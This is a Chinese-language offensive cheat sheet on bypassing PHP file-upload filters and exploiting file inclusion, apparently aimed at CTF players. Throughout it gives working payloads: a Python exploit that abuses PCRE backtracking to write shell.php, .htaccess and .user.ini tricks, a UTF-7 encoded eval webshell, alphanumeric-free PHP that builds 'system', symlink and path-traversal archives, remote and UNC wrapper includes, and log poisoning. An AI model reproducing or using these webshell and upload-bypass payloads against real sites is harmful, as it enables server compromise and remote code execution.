文件上傳
前端檢查
前端對文件后綴進行檢查,該種通過抓包修改數據包即可解決
文件名檢查
大小寫繞過
在windows下,可以將后綴寫為pHp
unicode
當目標存在json_decode且檢查在json_decode之前,可以將php寫為\u0070hp
php3457
該項為apache專屬
關鍵點在/etc/apache2/mods-available/php5.6.conf
這個文件,滿足.+\.ph(p[3457]?|t|tml)$
,都會被當作php文件解析。在apache2目錄下grep -r x-httpd-php /etc/apache2
找到對應文件就能知道解析哪些后綴
利用正則回溯pcre限制
pcre默認限制為100w
有如下場景
<?php
if(!preg_match('/.+?ph/is',$_POST['n']))
file_put_contents($_POST['n'],$_POST['s']);
可利用如下exp解決
import requests
data= {'n':"php://filter/write=convert.base64-decode/"+'/'*1000000+'/resource=shell.php','s':"PD9waHAgcGhwaW5mbygpPz4="}
print (requests.post('http://127.0.0.1',data=data).text)
請求頭檢查:content-type,MIME類型
將php文件的content-type:application/octet-stream
修改為image/png
等就可以
更多content-type:可以查看https://tool.oschina.net/commons/
解析漏洞、語言特性及漏洞
apache2
多后綴解析漏洞
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。
如1.php.abc,因apache2不識別.abc后綴,所以向前解析php
.htaccess
Apache提供了一種很方便的、可作用於當前目錄及其子目錄的配置文件——.htaccess(分布式配置文件)
當站點配置上標有AllowOverride All,並且rewrite_mod開啟時,.htaccess文件就會生效。
(1) Options
列目錄
Options +Indexes
可以執行cgi程序
Options ExecCGI
解析cgi的參考鏈接https://www.freebuf.com/vuls/218495.html
(2) AddType application/x-httpd-php abc
當在.htaccess中寫入AddType application/x-httpd-php abc時,就會把1.abc當作php文件解析
(3) php_value、php_admin
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
+ADw?php phpinfo()+Ads
<?php
echo mb_convert_encoding('<?php eval($_POST["x"]);?>', "UTF-7", "UTF-8");
?>
UTF-7、UTF-16、UTF-32皆可
任意文件下載
php_flag engine 0
除此之外還可以這樣書寫.htaccess
CVE-2017-15715
利用在上傳文件時,文件名之后添加一個\x0a來繞過黑名單上傳的限制
nginx
CVE-2013-4547
參考https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547
即上傳一個1.gif,然后訪問1.gif[0x20][0x00].php([0x20][0x00]為空格和\0不需要url編碼),1.gif會被當作php解析
php-cgi漏洞
在php配置文件中,開啟了cgi.fix_pathinfo,導致圖片馬1.jpg可以通過訪問1.jpg/.php解析成php
.user.ini
當使用CGI/FastCGI 來解析php時,php會優先搜索目錄下所有的.ini文件,並應用其中的配置。類似於apache的.htaccess,但語法與.htacces不同,語法與php.ini一致。因nginx實際上只是起到轉發的作用,實際解析一般為php-fpm或fastcgi來解析,所以在.user.ini中寫如auto_prepend_file=test.jpg,之后上傳.user.ini與test.jpg,過一段時間等待.user.ini被加載后,會導致每個php文件解析之前先將test.jpg當作php解析。
php
00截斷
php 版本為5.2.x,在上傳文件時在文件后名后追加\0即可讓上傳的文件,最終變為以.php結尾的文件
fopen特性
<?php
$filename='shell.php/.';
$content="<?php phpinfo();";
$f = fopen($filename, 'w');
fwrite($f, $content);
fclose($f);
?> //會在當前目錄生成shell.php
文件內容檢查:
繞過<?php,<?=
https://www.php.net/manual/zh/language.basic-syntax.phpmode.php
其中第2種在php7種不可以使用,在php5中可以使用
繞過[a-zA-Z0-9]
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
僅數字+符號
waf代碼如下:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>
使用如下
<?php
$a ='';
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(9)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}));
$a .= (((10000000000000000000).(1)){3});
$a .= ((((10000000000000000000).(1)){3})|(((-1).(1)){0}));
echo $a; //systEm
?>
<?php
$a ='';
$a .= (((10000000000000000000).(1)){3}); // E
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //n
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //D
echo $a; //EnD
?>
<?php // getallheaders
$a ='';
$a .= ((((10000000000000000000).(1)){3})|(((1.1).(1)){1})&((~(((1).(8)){1})|(((1).(7)){1})))); // g
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1})); //T
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))); // h
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); //D
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(2)){1})); // r
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1})); // s
echo $a;
?>
https://waituck.sg/web/rctf2020/php/2020/06/10/rctf-2020-calc-writeup.html
https://blog.rois.io/en/2020/rctf-2020-official-writeup-2/#Calc
繞過;(分號)
<?=phpinfo()?>
exif_imagetype()
該函數為獲取圖片的類型,常用於檢測上傳文件的類型
(1)可以使用在文件頭添加魔術字節GIF89a即可繞過
(2)使用copy命令將木馬放在一個正常文件之后
get_imagesize()
該函數為獲取圖片的長寬,常用於檢測上傳文件的類型
(1)可以在文件之前添加
#define width 1337
#define height 1337
即可繞過
二次渲染
https://github.com/hxer/imagecreatefrom-/tree/master/
https://www.freebuf.com/articles/web/54086.html
http://www.vuln.cn/6411
多文件上傳
當服務器支持多文件上傳,但只對上傳的第一個進行過濾時,可以一次上傳多個文件進行繞過
文件上傳解壓
tar壓縮包
linux環境
ln -s / 1.jpg 會在當前目錄下生成一個名為1.jpg的軟鏈接
tar cf 1.tar 1.jpg
上傳到服務器,訪問1.jpg,就可以在服務器中漫游了
也可以利用這個辦法繞過php_flag engine off
例子:https://250.ac.cn/2019/11/09/2019-湖湘杯-web部分-WriteUp/#預期解
zip壓縮包
如果服務器對上傳的zip文件直接解壓的話,就可以構築這樣一個文件來繞過
環境:/var/www/html/upload目錄不解析php文件,解壓文件默認在upload下
新建1234.php,內容任意
將1234.php壓縮為1234.zip文件
使用hxd或者010editor等16進制編輯器編輯1234.zip文件,將所有字符串1234.php替換為../1.php(../1共四位所以使用1234為文件名,可根據需求修改),保存。
將修改后的1234.zip上傳,經過服務器解壓,會在/var/www/html下生成一個1.php
條件競爭
在一些上傳場景中,上傳的文件上傳成功后會被立馬刪除,導致無法訪問上傳的文件。所以從上傳成功到被刪除的這段時間大概(幾百ms)存在一個空檔,我們利用這段空檔可以訪問到上傳的文件。但是手工操作肯定是來不及,我們寫腳本操作也來不及。所以可以通過不斷的上傳文件,並不斷的訪問到達目的。
其他情況
rce
imagick rce:CVE-2016–3714
file_put_contents
file_put_contents($filename,$content);
filename參數支持以url形式寫入,支持php偽協議,支持遠程讀取文件
具體參考:
文件包含
路徑穿越
upload/../../../../../tmp/shell.php
偽協議繞過
ftp://shell.php
file:///tmp/shell.php
http://xxxx/shell.php
\\smbserver\shell.php //unc路徑
phar://xxxx/x.zip/shell.php //需將shell.php打包為x.zip上傳
zip://xxxx/x.zip#shell.php //需將shell.php打包為x.zip上傳
php://filter/read=convert.base64-encode/resource=shell.php
compress.bzip2://shell.php
compress.zlib://shell.jpg
php://input [POST DATA] <?php phpinfo()?>
data://text/plain,<?php phpinfo()?> //也可以data:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/convert.base64-decode|convert.base64-decode/resource=shell.php
php://filter/%72ead=convert.base64-encode/resource=shell.%70hp
包含session
參考 php_myadmin4.8.1 文件包含漏洞CVE-2018-12613
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613
包含日志
apache2
以ubuntu下apache2為例,先請求/<?php phpinfo();?>
,然后包含/var/log/apache2/access.log即可
/var/log/mail.log
或者可以參考這個